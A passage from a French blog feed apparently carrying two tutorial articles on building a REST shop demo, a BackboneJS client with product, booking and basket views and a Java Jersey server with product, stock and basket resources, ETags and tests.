Content-Type: application/json
{
  &quot;id&quot;:0,
  &quot;name&quot;:&quot;pull&quot;,
  &quot;price&quot;:25,
  &quot;links&quot;:[{
    &quot;href&quot;:&quot;resource/product/0/stock/{quantity}/{username}&quot;,
    &quot;rel&quot;:&quot;RELS_BOOK&quot;
  }]
}
</pre><h3>Lister les produits avec GET</h3><p>Maintenant qu&#8217;il est possible d&#8217;ajouter des produits via l&#8217;interface, voyons comment les afficher ; un emplacement est prévu à cet effet, celui à l&#8217;identifiant <code>product-list</code>.</p><pre class="brush: xml; title: ; notranslate">
&lt;form method=&quot;post&quot; onsubmit=&quot;return false&quot;&gt;
  &lt;fieldset&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;&lt;%= product.get('name') %&gt;&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;Price: $&lt;%= product.get('price') %&gt;&lt;/li&gt;
      &lt;li&gt;
        &lt;label&gt;
          Qty: &lt;input type=&quot;text&quot; data-id=&quot;&lt;%= product.get('id') %&gt;&quot; value=&quot;1&quot; size=&quot;3&quot;/&gt;
        &lt;/label&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
 
    &lt;input type=&quot;submit&quot; data-id=&quot;&lt;%= product.get('id') %&gt;&quot; value=&quot;add to cart&quot; /&gt;
  &lt;/fieldset&gt;
&lt;/form&gt;
</pre><p>La template précédente permet l&#8217;affichage d&#8217;un produit, elle utilise la syntaxe UnderscoreJS <code><%= value %></code> (utilisé également par BackboneJS ; il existe de nombreux moteurs de templates, <a
href="https://github.com/janl/mustache.js/">MustacheJS</a>, entre autres). Elle est intégrée à la page grâce au code de la classe <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/js/product/ProductView.js">ProductView</a> qui lui transmet un produit en paramètre. Le produit étant issu d&#8217;une collection BackboneJS, accéder à une propriété passe par un getter.</p><pre class="brush: jscript; title: ; notranslate">
define(&quot;ProductView&quot;,
  ['text!/template/ProductTemplate.html'],
  function(tmpl){
  return Backbone.View.extend({
    el: $(&quot;#product-list&quot;),
    initialize: function(){
      _.bindAll(this, 'render');
      this.collection.bind('add', this.render);
    },
    render: function() {
      var template = '';
      this.collection.each(function(product) {
        template += _.template(tmpl, { product: product });
      });
      this.el.html(template);
    }
  });
});
</pre><p>Le constructeur de cette classe positionne un écouteur sur l&#8217;ajout d&#8217;élément à la collection de produits avec <code>bind</code>. L&#8217;occurrence de cet évènement déclenche la propriété <code>render</code> de la vue. Cette écoute étant effectuée par la collection, le <code>this</code> manipulé par la méthode <code>render</code> de la vue lui est relatif. L&#8217;utilisation d&#8217;une méthode utilitaire d&#8217;Underscore, <code>bindAll</code>, permet de modifier ce comportement en indiquant que le <code>this</code> manipulé par la méthode render est la vue elle-même.</p><p>L&#8217;ajout d&#8217;un produit à la collection manipulée par cette vue ajoute une template pour chaque produit à la page. Les collections BackboneJS offrent une méthode <code>each</code> pour faciliter l&#8217;itération sur leurs éléments. Lorsque plusieurs éléments sont ajoutés à une page, il est plus performant de les concaténer et de les afficher d&#8217;un coup.</p><p>L&#8217;identifiant du produit est positionné sur l&#8217;input submit afin de localiser le produit sélectionné par le client par la suite. L&#8217;input text recevant la quantité réservée le reçoit également à cette fin.</p><h3>Réserver une quantité d&#8217;un produit</h3><p>Afin de permettre la réservation d&#8217;une certaine quantité d&#8217;un article, il est nécessaire d&#8217;ajouter le code suivant à la classe <code>ProductView</code> :</p><pre class="brush: jscript; title: ; notranslate">
define(&quot;ProductView&quot;,
  function(...){
  return Backbone.View.extend({
    events: {
      &quot;click input:submit&quot;: &quot;book&quot;
    },
    book: function(event) {
      var product_id = $(event.target).data('id');
      var quantity = $('input[type=text][data-id=&quot;'+product_id+'&quot;]').val();
 
      var links = this.collection.get(product_id).get('links');
 
      var map = new Object();
      _.each(links, function(link) {
        map[link.rel] = link.href;
      });
 
      $.ajax({
        type: 'POST',
        url: map['RELS_BOOK'].replace('{quantity}', quantity).replace('{username}', &quot;xebia&quot;),
        success: function() {$.publish('basket-event')},
        error: function(xhr) { alert(xhr.responseText) }
      });
    }
  });
});
</pre><p>Le clic sur l&#8217;input submit de la vue est capturé et son évènement déclencheur permet d&#8217;identifier quel produit, parmi la liste proposée, a été sélectionné : <code>event.target</code> permet d&#8217;accéder à l&#8217;input submit qui a reçu le clic. Il est alors possible de récupérer ses attributs, ici son <code>data-id</code> (cet identifiant est préférable à <code>id</code> car il est utilisé pour deux éléments, la quantité et le bouton submit). Les collections BackboneJS offrent une méthode <code>get(id)</code> permettant d&#8217;accéder à un élément par son identifiant. La quantité est récupérée à l&#8217;aide d&#8217;un sélecteur jQuery.</p><p>Les relations proposées par le produit sélectionné sont copiées dans une map, et la template de réservation d&#8217;un produit est complétée (<code>quantity</code> et <code>username</code>). Un POST est réalisé sur le lien obtenu.</p><h3>Afficher le panier</h3><p>Lors du succès d&#8217;une réservation, le panier doit être rafraîchi. La ressource <code>/product</code> ajoute un ou plusieurs produits dans le panier utilisateur, représenté par la ressource <code>/basket</code>. La ressource <code>/basket</code> ne remonte donc aucune notification au client, puisqu&#8217;elle est modifiée côté serveur. Il donc nécessaire, comme le fait le handler <code>success</code> de l&#8217;appel de réservation, de publier un évènement lors du succès d&#8217;un achat à destination du panier afin qu&#8217;il se rafraîchisse. Cette gestion d&#8217;évènements est ajoutée à jQuery par <a
href="https://gist.github.com/661855">Tiny Pub/Sub</a>.</p><pre class="brush: jscript; title: ; notranslate">
define(&quot;BasketView&quot;,
  function(...) {
  return Backbone.View.extend({
    el: $('#cart'),
 
    var view = this;
    $.subscribe('basket-event', view.fetch);
  },
  fetch: function() {
    var view = this;
    this.model.clear();
    this.model.fetch({ success: view.render });
  },
  price:0,
  render: function() {
    var stocks = this.model.get('stock');
    var view = this;
    var tmpl = '';
    var total = 0;
 
    _.each(stocks, function(stock) {
        var product = view.collection.get(stock.id);
        var price = stock.quantity * product.get('price');
        total += price;
        tmpl += _.template(basketItemTemplate,
                          { quantity: stock.quantity,
                            name: product.get('name'),
                            price: price });
    });
    this.el.html(_.template(basketTemplate, { total: total }));
    $('tbody', this.el).html(tmpl);
    this.price = total;
  });
});
</pre><p>Deux templates sont nécessaires à l&#8217;affichage du panier : un tableau et un élément répété pour chaque produit. Le calcul du prix du panier est effectué côté client ; lors d&#8217;un clic utilisateur sur le bouton « checkout » le prix est comparé à celui retourné par le serveur et, s&#8217;il est correct, le payement est effectué et le panier vidé (la comparaison du prix et son calcul côté client sont, bien entendu, réalisés à des fins didactiques).</p><pre class="brush: jscript; title: ; notranslate">
define(&quot;BasketView&quot;,
  function(...) {
  return Backbone.View.extend({
    events: {
      &quot;click input:submit&quot;: &quot;checkout&quot;
    },
    checkout: function() {
      var links = this.model.get('links');
      var map = {};
 
      _.each(links, function(link) {
        map[link.rel] = link.href;
      });
 
      var total = this.price;
      $.getJSON(map['RELS_PRICE'], function(response) {
        if(response.value == total)
          $.post(map['RELS_PAYMENT'], function() { $.publish('basket-event') });
      });
    }
  });
});
</pre><h3>Épilogue</h3><p>L&#8217;interface unifiée de HTTP offerte par BackboneJS simplifie grandement l&#8217;interaction avec un serveur REST (en plus des exemples présentés ici, la modification d&#8217;un élément déclenche un PUT, sa suppression un DELETE). L&#8217;utilisation d&#8217;une liste de relations, plutôt que d&#8217;URI, entre client et serveur diminue encore leur couplage. Pour approfondir le sujet davantage, se référer à l&#8217;article de référence sur <a
href="http://addyosmani.com/blog/large-scale-jquery">l&#8217;intégration des solutions jQuery dans l&#8217;entreprise</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/11/14/rest-javascript-client/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>REST côté serveur avec Java</title><link>http://blog.xebia.fr/2011/11/14/rest-java-serveur/</link> <comments>http://blog.xebia.fr/2011/11/14/rest-java-serveur/#comments</comments> <pubDate>Mon, 14 Nov 2011 06:00:09 +0000</pubDate> <dc:creator>Yves Amsellem</dc:creator> <category><![CDATA[SOA]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Jersey]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Web-Services]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=9033</guid> <description><![CDATA[Voilà 11 ans que Roy Fielding a introduit REST, le style d&#8217;architecture original du web appliqué aux échanges inter-applications. Reposant sur HTTP, il promet économie, simplicité et profit des structures réseau en place. Voyons comment l&#8217;implémenter via un client JavaScript — présenté dans un article connexe — communiquant avec un serveur Java — présenté ici [...]]]></description> <content:encoded><![CDATA[<p>Voilà 11 ans que Roy Fielding a introduit REST, le style d&#8217;architecture original du web appliqué aux échanges inter-applications. Reposant sur HTTP, il promet économie, simplicité et profit des structures réseau en place. Voyons comment l&#8217;implémenter via un client JavaScript — présenté dans <a
href="http://blog.xebia.fr/2011/11/14/rest-javascript-client">un article connexe</a> — communiquant avec un serveur Java — présenté ici –. Le code clé-en-main est <a
href="https://github.com/yamsellem/Backbone-Jersey">disponible sur GitHub</a>.</p><div
style="border: dotted 1px #6A205F; background: #F0EDF1; padding:10px 30px;"><p><a
href="http://java.net/projects/jsr311">JAX-RS</a> — Java API for RESTful Web Services — standardise l&#8217;implémentation de REST en Java (une API + une servlet). Nous retiendrons son implémentation de référence, <a
href="http://jersey.java.net/nonav/documentation/latest/user-guide.html">Jersey</a>, et la déploierons sur un serveur <a
href="http://docs.codehaus.org/display/JETTY/Embedding+Jetty">Jetty-Embedded</a> (le code clé-en-main dispose d&#8217;un <code>main</code> effectuant le déploiement ; pas besoin d&#8217;installer de serveur).</p><p>Les web services REST sont des ressources. Une ressource est identifiée par un nom du domaine, produit, commande, etc. HTTP définit 7 verbes pour manipuler les ressources :</p><ul><li><string>GET pour la lecture,</li><li>PUT pour la modification,</li><li>DELETE pour la suppression,</li><li>POST pour la création et autre,</li><li>OPTIONS (verbes disponibles), HEAD (prise de pouls) et TRACE (écho des headers de l&#8217;appelant) non abordés</li></ul></div><p>Une fois déployée, la servlet Jersey mappe l&#8217;url <code>/resource/*</code> ; la partie cliente est disponible sur <code>/index.html</code>. Le web.xml définit deux filtres Jersey afin de loguer les trames HTTP des échanges client-serveur.</p><p>Par convention, GET <code>/product</code> liste tous les produits, GET <code>/product/12</code> affiche le produit identifié, PUT <code>/product/12</code> remplace le produit identifié par celui transmit, DELETE <code>/product/12</code> supprime le produit identifié, POST <code>/product</code> crée le produit transmis et fourni son identifiant en réponse. Les verbes GET, PUT et DELETE sont sûrs et idempotents (sans effet de bord – effet identique à requête identique). POST est utilisé comme factory (ici pour créer de nouveaux produits) et pour toute opération non sûre ou non idempotente (par exemple, déplacer une quantité du stock vers un panier). Les navigateurs internet utilisent abondamment GET pour accéder au contenu d&#8217;une page web et POST lors de la soumission d&#8217;un formulaire.</p><h3><a
name="Ressources"></a>Ressources</h3><p>L&#8217;application que nous nous apprêtons à développer est une boutique en ligne type Amazon. Elle propose une liste de produits, disponibles en quantité limitée, qu&#8217;il est possible de réserver dans un panier client. Deux ressources implémentent ces fonctionnalités, <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/resource/ProductResource.java">ProductResource</a> et <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/resource/BasketResource.java">BasketResource</a>, dont voici les définitions :</p><style>table {border: hidden; border-collapse: collapse; font-size: small;}
tr, th, td {border: dotted 1px #6A205F; padding: 5px;}
th {background: #F0EDF1;}</style><table><tr><th> URI</th><th> Verbes disponibles</th><th> Effet</th></tr><tr><td> <code>product</code></td><td> GET, POST</td><td> liste et création de produits</td></tr><tr><td> <code>product/{id}</code></td><td> GET, DELETE</td><td> produit accessible, supprimable par <code>id</code></td></tr><tr><td> <code>product/{id}/stock</code></td><td> GET, POST</td><td> stock d&#8217;un produit, ajout de quantité</td></tr><tr><td> <code>product/{id}/stock/{quantity}/{username}</code></td><td> POST</td><td> réservation client</td></tr><tr><td> <code>basket/{username}</code></td><td> GET, DELETE</td><td> panier de <code>username</code>, suppression</td></tr><tr><td> <code>basket/{username}/{productid}</code></td><td> GET</td><td> stock d&#8217;un produit</td></tr><tr><td> <code>basket/{username}/price</code></td><td> GET</td><td> prix du panier</td></tr><tr><td> <code>basket/{username}/payment</code></td><td> POST</td><td> paiement du panier</td></tr></table><p>Récupérer la liste des produits s&#8217;effectue avec un GET sur http://localhost:8080/resource/product.</p><p>À l&#8217;instar de la navigation sur internet, naviguer entre ressources s&#8217;effectue à l&#8217;aide de liens. Alors que sur le web c&#8217;est le nom du lien qui aiguille l&#8217;internaute, ici c&#8217;est la relation — l&#8217;attribut rel — qui permet de naviguer. HTTP définit <a
href="http://dev.w3.org/html5/spec/Overview.html#linkTypes">des relations standards</a>, pour couvrir les besoins de l&#8217;exercice, les suivantes lui sont ajoutées et communiquées au client :</p><table><tr><th> Relation</th><th> Ressource</th><th> Effet</th></tr><tr><td> <code>rels/book</code></td><td> <code>/product</code></td><td> réservation d&#8217;une quantité d&#8217;un produit par un client</td></tr><tr><td> <code>rels/price</code></td><td> <code>/basket</code></td><td> accès au prix du panier</td></tr><tr><td> <code>rels/payment</code></td><td> <code>/basket</code></td><td> accès au paiement du panier</td></tr><tr><td> <code>rels/related</code></td><td> <code>*</code></td><td> standard, utilisé ici pour donner accès à un produit du panier client</td></tr></table><h3><a
name="Representations"></a>Représentations</h3><p>Les représentations sont les objets échangés entre client et serveur (en XML ou JSON, à la demande du client). Elles sont <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/resources/representation.xsd">définies dans un XSD</a>. Côté serveur, la grappe d&#8217;objets équivalente est générée par XJC. <a
href="http://blog.xebia.fr/2011/03/17/jaxb-le-parsing-xml-objet">Un précédent article</a> aborde les notions de JAXB en détails. Voici une définition compacte des représentations :</p><table><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Product.java">product</a></td><td> <code>{id:long, name:string, price:int, links:link[]}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Stock.java">stock</a></td><td> <code>{quantity:int, id:long, related:link}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Basket.java">basket</a></td><td> <code>{stock:stock, links:link[]}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Price.java">price</a></td><td> <code>{value:int}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Link.java">link</a></td><td> <code>{href:anyURI, rel:[rels/book,rels/price,rels/payment,rels/related]}</code></td></tr></table><p>La servlet Jersey est initialisée avec le paramètre <a
href="http://jersey.java.net/nonav/documentation/latest/json.html">POJOMappingFeature</a> afin d&#8217;utiliser <a
href="http://wiki.fasterxml.com/JacksonDocumentation">Jackson</a> pour le marshalling JSON plutôt que <a
href="http://jaxb.java.net/tutorial">JAXB</a>, dont la responsabilité est ici limitée au marshalling XML. Jackson produit un JSON plus standard — la dépendance jersey-json est ajoutée au <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/pom.xml">pom.xml</a>.</p><p>JAXB requiert l&#8217;annotation <a
href="http://download.oracle.com/javase/6/docs/api/javax/xml/bind/annotation/XmlRootElement.html">@XmlRootElement</a> afin de produire/consommer les objets du modèle en XML. Jackson n&#8217;en nécessite aucune.</p><p>Les représentations et les ressources sont intimement liées. Leur nommage gagne à être cohérent : la ressource <code>/product</code> produit une List<Product> lors d&#8217;un GET et consomme un Product lors d&#8217;un POST ; la ressource <code>/stock</code> produit et consomme un Stock. Sans information (le déplacement d&#8217;un produit dans le panier et le paiement), aucune représentation n&#8217;est consommée ni produite, seuls l&#8217;URI, le statut de retour et les headers caractérisent l&#8217;échange.</p><h3><a
name="Status"></a>Status de retour</h3><p>Quelle que soit l&#8217;opération demandée, les ressource indiquent toujours un statut de retour. Ce code, composé de 3 chiffres dont le premier spécifie la catégorie (1. information, 2. succès, 3. redirection, 4. erreur client, 5. erreur serveur), est indiqué à chaque appel de ressource, quel que soit le verbe HTTP utilisé et la présence, ou non, de représentation. 200, 301 et 404 sont les plus connus, ils indiquent, dans l&#8217;ordre, un succès, une redirection et l&#8217;absence du document recherché. Se référer à <a
href="http://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">la liste des statuts HTTP</a> pour plus de détail.</p><h3><a
name="Headers"></a>Headers</h3><p>Une trame HTTP est composée, en plus d&#8217;une représentation — le body — et d&#8217;un statut de retour, de headers — l&#8217;entête –. <a
href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Les headers HTTP</a>, une liste de propriétés clé/valeur, en plus de véhiculer la négociation de médiatype, communiquent des informations <a
href="http://fr.wikipedia.org/wiki/Cache-Control">de cache</a>, <a
href="http://en.wikipedia.org/wiki/HTTP_ETag">de concurrence</a> et <a
href="http://fr.wikipedia.org/wiki/HTTP_Authentification">de sécurité</a> notamment. <a
href="http://blog.xebia.fr/2011/04/18/apache-shiro">Un précédent article</a> aborde les notions d&#8217;authentification HTTP en détails.</p><h3><a
name="Produits"></a>Ressource produit</h3><p>L&#8217;intégralité du code étant <a
href="https://github.com/yamsellem/Backbone-Jersey">disponible sur GitHub</a>, nous nous focaliserons sur les points clé de l&#8217;implémentation. Toute latitude est laissée au lecteur d&#8217;aller et venir entre les explications suivantes et le code lié. Afin de simplifier la compréhension, le rôle du référentiel de données est joué par des classes dotées de méthodes statiques, <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/data/Products.java">Products</a>, <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/data/Stocks.java">Stocks</a> et <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/data/Purchases.java">Purchases</a>. Commençons avec la classe <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/resource/ProductResource.java">ProductResource</a>.</p><pre class="brush: java; title: ; notranslate">
import javax.ws.rs.GET;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.core.Response;
 
@Path(&quot;/product&quot;)
public class ProductResource {
    @GET
    @Path(&quot;/{id}&quot;)
    public Response get(@PathParam(&quot;id&quot;) long id) {
        Product product = Products.get(id);
        return Response.ok(product).build();
    }
 
    @POST
    public Response post(Product product) {
        Products.put(product);
        return Response.ok(product).build();
    }
 
    @GET
    public Response get() {
        List&lt;Product&gt; products = Products.get();
        GenericEntity&lt;List&lt;Product&gt;&gt; entity = new GenericEntity&lt;List&lt;Product&gt;&gt;(products) {};
        return Response.ok(entity).build();
    }
}
</pre><p>L&#8217;annotation <a
href="http://jersey.java.net/nonav/documentation/latest/jax-rs.html#d4e110">@Path</a> permet de déclarer l&#8217;URI d&#8217;une ressource au niveau d&#8217;une classe puis de la compléter si nécessaire au niveau méthode (le scannage de Jersey peut être restreint à un package dans le web.xml). Les méthodes HTTP sont représentées quant à elles par des annotations du même nom @GET, @PUT, @DELETE et @POST appartenant au package <a
href="http://download.oracle.com/javaee/6/api/javax/ws/rs/package-summary.html">javax.ws.rs</a> de JAX-RS. Du même package, le builder Response permet notamment de positionner le code de retour (la méthode <code>ok(...)</code> le positionne à 200), la représentation retournée, les headers, etc.</p><p><a
href="http://jersey.java.net/nonav/apidocs/latest/jersey/javax/ws/rs/core/GenericEntity.html">GenericEntity</a> est nécessaire lors de la production d&#8217;une List<Product> en guise de réponse. Les implémentations de List n&#8217;étant pas annotés avec JAXB, cette encapsulation permet de positionner une liste au premier nœud du graphe.</p><p>En cas d&#8217;absence du produit, une NotFoundException est levée par <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/data/Products.java">Products</a>. Cette exception, de la famille des WebApplicationException est capturée par un <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/resource/WebApplicationExceptionMapper.java">mapper</a> annoté <a
href="http://jersey.java.net/nonav/documentation/latest/user-guide.html#d4e443">@Provider</a>. Cette classe d&#8217;exceptions introduite par Jersey remonte une réponse avec statut de retour approprié : ici, 404.</p><p>La classe <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Product.java">Product</a> (générée par XJC) est la représentation consommée et produite par cette ressource ; elle a été réduite ici à sa plus simple expression.</p><pre class="brush: java; title: ; notranslate">
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlRootElement;
 
@XmlRootElement
@XmlAccessorType(XmlAccessType.FIELD)
public class Product {
    protected long id;
    protected String name;
    protected int price;
    protected List&lt;Link&gt; links;
}
</pre><p>Lors d&#8217;un appel à cette ressource le header Accept permet d&#8217;indiquer les préférences du médiatype utilisé pour communiquer la représentation. Le navigateur Chrome, par exemple, indique les suivants Accept: <code>text/html,application/xml;q=0.9,/;q=0.8</code>. Ceux-ci sont pondérés, ainsi il préfère XML (0.9) à JSON (0.8, */* indiquant ceux non exprimés auparavant). Il obtient donc la représentation en XML :</p><pre class="brush: xml; title: ; notranslate">
&lt;products&gt;
  &lt;product&gt;
    &lt;id&gt;0&lt;/id&gt;
    &lt;name&gt;pull&lt;/name&gt;
    &lt;price&gt;25&lt;/price&gt;
    &lt;links&gt;
      &lt;href&gt;resource/product/0/stock/{quantity}/{username}&lt;/href&gt;
      &lt;rel&gt;rels/book&lt;/rel&gt;
    &lt;/links&gt;
  &lt;/product&gt;
&lt;/products&gt;
</pre><p>Appelé d&#8217;un client JavaScript la représentation sera bien plus compacte, grâce au JSON :</p><pre class="brush: jscript; title: ; notranslate">
[{
  &quot;id&quot;: 0,
  &quot;name&quot;: &quot;pull&quot;,
  &quot;price&quot;: 25,
  &quot;links&quot;: [{
    &quot;href&quot;: &quot;resource/product/0/stock/{quantity}/{username}&quot;,
    &quot;rel&quot;: &quot;RELS_BOOK&quot;}]
}]
</pre><p>Ces représentations ont été indentées, sans quoi, elles seraient exprimées sur une simple ligne.</p><p>L&#8217;échange client serveur peut être simplifié ainsi :</p><pre class="brush: jscript; title: ; notranslate">
# Request
GET /product HTTP/1.1
Host: localhost:8080
Accept: application/json;q=1.0
 
# Response
HTTP/1.1 200 OK
Content-Type: application/json
[{&quot;id&quot;: 0...}]
</pre><h3><a
name="TestsProduits"></a>Tests produit</h3><p>Afin de s&#8217;assurer du fonctionnement de cette première ressource, un serveur Jetty-Embedded peut être déployé et une batterie de tests exécutée à l&#8217;aide du client Jersey. Voyons comment avec la classe <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/test/java/com/xebia/resource/ProductResourceTest.java">ProductResourceTest</a> et son référentiel de données <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/test/java/com/xebia/resource/Shipments.java">Shipments</a>.</p><pre class="brush: java; title: ; notranslate">
import static com.sun.jersey.api.client.ClientResponse.Status.OK;
import static com.sun.jersey.api.client.ClientResponse.Status.NOT_FOUND;
 
import org.junit.Rule;
import javax.ws.rs.core.UriBuilder;
 
import com.sun.jersey.api.client.Client;
import com.sun.jersey.api.client.ClientResponse;
 
public class ProductResourceTest {
  @Rule
  public EmbeddedTestServer server = new EmbeddedTestServer();
 
  @Before
  public void before() {
    for (Product product : Shipments.products())
      productResource().post(product);
  }
 
  @Test
  public void shouldGetProduct() {
    Product product = productResource(2).get(Product.class);
    assertNotNull(product);
    assertEquals(product.getName(), &quot;L'étranger&quot;);
  }
 
  @Test
  public void shouldNotGetUnexistingProduct() {
    ClientResponse response = productResource(12).get(ClientResponse.class);
    assertEquals(response.getStatus(), NOT_FOUND.getStatusCode());
  }
 
  @Test
  public void shouldListProducts() {
    ClientResponse clientResponse = productResource().get(ClientResponse.class);
    List&lt;Product&gt; products = clientResponse.getEntity(new GenericType&lt;List&lt;Product&gt;&gt;() {});
 
    assertEquals(OK.getStatusCode(), clientResponse.getStatus());
    assertEquals(Shipments.size(), products.size());
  }
 
  /* helpers */
 
  private WebResource productResource() {
    URI uri = UriBuilder.fromPath(&quot;resource/product&quot;).build();
    return Client.create().resource(server.uri()).path(uri.getPath());
  }
 
  private WebResource productResource(long productId) {
    URI uri = UriBuilder.fromPath(&quot;resource/product/{id}&quot;).build(productId);
    return Client.create().resource(server.uri()).path(uri.getPath());
  }
}
</pre><p>L&#8217;annotation <a
href="http://www.junit.org/node/580">@Rule</a> permet d&#8217;externaliser <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/test/java/com/xebia/rule/EmbeddedTestServer.java">le lancement du serveur</a> (basé sur le <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/WEB-INF/web.xml">web.xml</a>). L&#8217;initialisation réalisée par l&#8217;annotation @Before utilise POST comme une factory pour créer, un à un, de nouveaux produits. Les tests utilisent GET pour vérifier la présence de ceux-ci (et leur numérotation côté serveur). Les listes nécessitent l&#8217;utilisation de <a
href="http://jersey.java.net/nonav/apidocs/latest/jersey/com/sun/jersey/api/client/GenericType.html">GenericType</a> afin de conserver leur typage.</p><p>Le client a généré, au préalable, les représentations avec XJC. Ainsi, il peut demander l&#8217;unmarshalling de la réponse à Jersey. On notera l&#8217;accès direct à la classe Product dans le premier test et le passage préalable par ClientResponse dans le second, donnant accès, en plus de la représentation de la réponse, à son statut et ses headers. On notera également la gestion de template proposée par <a
href="http://jackson.codehaus.org/javadoc/jax-rs/1.0/javax/ws/rs/core/UriBuilder.html">UriBuilder</a> dont la méthode <code>build(...)</code> remplace les différents tags.</p><h3><a
name="Stocks"></a>Ressource stock</h3><p>La notion de stock d&#8217;un produit lui est indépendante. Positionner le stock comme attribut de produit porte à confusion : déplacer un produit du stock vers le panier client ne doit pas concerner tout le stock, seulement la quantité réservée. Pour autant, définir une ressource indépendante /stock/{productid} est ambiguë. Une manière plus élégante est de l&#8217;exprimer comme noeud du produit <code>/product/{id}/stock</code> ; cela traduit bien l&#8217;appartenance de l&#8217;un à l&#8217;autre sans impliquer la présence d&#8217;un attribut dans la représentation. Les / d&#8217;une URL définissent toujours une hiérarchie.</p><p>L&#8217;implémentation suivante considère l&#8217;ajout au stock comme un arrivage et utilise donc POST. Si l&#8217;accès au stock avait été considéré comme le remplacement de la quantité existante, PUT aurait été retenu.</p><pre class="brush: java; title: ; notranslate">
import javax.ws.rs.core.Response.Status;
import javax.ws.rs.core.EntityTag;
import com.google.common.base.Objects;
 
@Path(&quot;/product&quot;)
public class ProductResource {
  @POST
  @Path(&quot;/{id}/stock&quot;)
  public Response addToStock(@PathParam(&quot;id&quot;) long id, Stock stock) {
    Integer instock = Stocks.quantity(id);
    Stocks.put(id, instock + stock.getQuantity());
    return Response.status(Status.ACCEPTED).build();
  }
 
  @GET
  @Path(&quot;/{id}/stock&quot;)
  public Response stock(@PathParam(&quot;id&quot;) long id) {
    Stock stock = new Stock();
    stock.setQuantity(Stocks.quantity(id));
    return Response.ok(stock).tag(eTag(id, stock.getQuantity())).build();
  }
 
  private EntityTag eTag(long id, int quantity) {
    return new EntityTag(String.valueOf(Objects.hashCode(id, quantity)));
  }
}
</pre><p>L&#8217;ajout de stock vérifie au préalable l&#8217;existence du produit et renseigne le statut de la réponse en conséquence (Stocks s&#8217;en remet à Products qui lève une NotFoundException le cas échéant). La classe-représentation consommée et produite par cette ressource est la suivante.</p><pre class="brush: java; title: ; notranslate">
@XmlRootElement
@XmlAccessorType(XmlAccessType.FIELD)
public class Stock {
  protected int quantity;
  protected long id;
  protected Link related;
}
</pre><p>Lors de l&#8217;accès à la ressource stock un tag d&#8217;accès concurrent est ajouté aux headers. Ce dernier est calculé à partir du hash de l&#8217;id produit et de la quantité disponible. Lorsqu&#8217;il veut réserver une certaine quantité du stock, le client fournit ce tag — qu&#8217;il estime être le dernier en date — afin que le serveur puisse lui indiquer si la ressource a changé depuis (ici, si la quantité a changé). Si c&#8217;est le cas, le client doit la récupérer à nouveau du serveur. Lorsque les deux tags correspondent, le serveur accepte la demande client.</p><p>Ce tag peut également permettre 1. de ne pas reconstruire une grappe d&#8217;objets côté serveur si le client a déjà sa dernière version 2. de gérer la concurrence de modification d&#8217;une ressource.</p><pre class="brush: java; title: ; notranslate">
import javax.ws.rs.core.Request;
import javax.ws.rs.core.Context;
 
@Path(&quot;/product&quot;)
public class ProductResource {
  @POST
  @Path(&quot;/{id}/stock/{quantity}/{username}&quot;)
  public Response post(@PathParam(&quot;id&quot;) long id, @PathParam(&quot;quantity&quot;) int quantity,
      @PathParam(&quot;username&quot;) String username, @Context Request request) {
 
    String message;
    int productQuantity = Stocks.quantity(id);
 
    if (request.evaluatePreconditions(eTag(id, productQuantity)) == null) {
      if (Stocks.sell(id, quantity)) {
        Purchases.put(username, id, quantity);
        return Response.ok().build();
 
      } else message = &quot;Product is out of stock&quot;;
    } else message = &quot;eTag mismatch&quot;;
    return Response.status(Status.PRECONDITION_FAILED).entity(message).build();
  }
}
